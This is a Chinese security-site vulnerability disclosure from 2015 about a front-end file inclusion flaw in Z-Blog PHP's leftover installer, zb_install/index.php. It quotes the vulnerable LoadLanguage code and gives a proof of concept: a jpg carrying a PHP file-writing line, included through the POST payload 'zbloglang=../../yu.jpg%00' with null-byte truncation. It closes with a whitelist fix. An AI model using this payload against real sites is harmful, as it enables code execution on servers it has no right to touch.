您现在的位置: 华盟网 >> 漏洞 >> 网站漏洞 >> 正文

[图文]Z-blog前台无需登录包含漏洞一枚

2015/6/5 作者:彩儿 来源: 本站整理
导读 听说这个是大厂商? -.-前台无需登录包括破绽, 大约翻了一下 没看到仿佛能上传图片的中央。没细看。

  听说这个是大厂商? -.-

  前台无需登录包含漏洞, 大概翻了一下 没看到好像能上传图片的地方。

  没细看。 就这样了把。

  http://www.zblogcn.com/zblogphp/ 下载地址

  问题出现在zb_install/index.php中

  我还注意看了一下 安装完成后 是写的啥提示

  安装结果

  创建数据库!zblog

  连接数据库并创建数据表!

  创建并插入数据成功!

  保存设置,编译模板成功!

  提示的是这个 并没有提示用户要删除这个目录 而且也不会自动删除这个文件。

  所以基本都是存在的。

/**
* Z-Blog with PHP
* @author
* @copyright (C) RainbowSoft Studio
* @version 2.0 2013-07-05
*/
/**
* 安装程序
* @param
* @return array
*/
require '../zb_system/function/c_system_base.php'
require '../zb_system/function/c_system_admin.php'
header('Content-type: text/html; charset=utf-8');
define('bingo','');
define('error','');
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
$zblogstep=(int)GetVars('step');
if($zblogstep==0)$zblogstep=1;
if( ($zbp->option['ZC_DATABASE_TYPE']!=='') && ($zbp->option['ZC_YUN_SITE']=='') ){
$zblogstep=0;
}elseif( ($zbp->option['ZC_DATABASE_TYPE']) && ($zbp->option['ZC_YUN_SITE']) ){
if($zbp->Config('system')->CountItem()>0)$zblogstep=0;
}
?>




 

$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];

  其实漏洞就是出现在这里。

  因为这段代码是出现在判断是否安装了之前, 所以 就算安装了 我们也可以走到这里。。

$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。
$zbp->LoadLanguage('system','',$zbloglang);//跟跟跟
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];




 

public function LoadLanguage($type,$id,$default=''){
if($type=='system'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn'
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en'
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type=='plugin' || $type=='theme'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn'
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en'
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type!='' && $id!=''){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn'
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en'
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}
}

  看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。

  大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。

  新建一个 yu.jpg

fputs(fopen('testx.php','w'),' ');







$zbp->LoadLanguage('system','',$zbloglang);

$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);



  因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。

  所以我们直接fputs一个文件就行。

  在根目录下。

  http://web/small/zblog/zb_install/index.php

  zbloglang=../../yu.jpg%00

       z1.jpg

  解决方案:

  这里应该对post来的zbloglang进行限制

  in_array('en','zh' 之类的 限制只能包含那几个文件

                  微信群名称:华盟黑白之道二群     华盟-黑白之道⑦QQ群: 9430885

  • 上一篇漏洞:

  • 下一篇漏洞:
  • 网友评论
      验证码
     

    关注

    分享

    0

    讨论

    2

    猜你喜欢

    论坛最新贴